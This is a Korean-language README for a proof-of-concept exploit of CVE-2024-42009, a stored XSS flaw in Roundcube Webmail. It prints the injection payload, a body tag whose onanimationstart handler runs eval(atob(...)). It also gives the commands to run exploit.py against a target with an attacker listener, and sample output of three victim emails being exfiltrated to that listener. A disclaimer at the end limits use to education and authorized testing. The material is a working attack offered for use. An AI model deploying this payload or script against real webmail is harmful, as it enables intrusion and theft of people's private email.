
CVE-2024-42009 개념 증명
이 저장소에는 Roundcube Webmail 1.6.7 및 기타 여러 버전에서 발생하는 저장형 XSS(교차 사이트 스크립팅) 취약점인 CVE-2024-42009에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다. 이 익스플로잇은 공격자가 메시지에 악성 JavaScript를 주입하고, 메시지 내부의 HTML을 구문 분석할 때 발생하는 비살균(desanitization) 문제를 악용할 수 있는 방법을 보여줍니다. 이 예제에서는 피해자의 받은 편지함에서 이메일 콘텐츠를 유출하거나 피해자의 브라우저를 장악하는 데 사용될 수 있습니다.
Roundcube 1.5.7 및 1.6.x~1.6.7 버전의 교차 사이트 스크립팅(XSS) 취약점으로, 원격 공격자는 program/actions/mail/show.php의 message_body()에 있는 Desanitization 문제를 악용하는 악의적으로 조작된 이메일 메시지를 통해 피해자의 이메일을 탈취하고 전송할 수 있습니다.
이 익스플로잇은 XSS 실행을 위해 CSS 애니메이션 트리거를 사용합니다.
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
body는 div로 파싱되므로 그에 맞게 조정해야 합니다. 따라서 onanimationstart 속성을 사용하여 eval 함수를 호출하고 이를 통해 복잡한 JavaScript 호출을 실행합니다. 익스플로잇이 어떻게 작동하는지, 그리고 Roundcube의 취약점이 어디에 있는지 자세히 알아보려면 이 문서를 읽어보세요.
필요한 Python 패키지를 설치합니다:
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ 중요: 이 개념 증명은 교육 및 승인된 테스트 목적으로만 제공됩니다. 책임감 있게 사용하시기 바라며, 이 계정은 다른 사람이 초래한 어떠한 손해에 대해서도 책임지지 않습니다.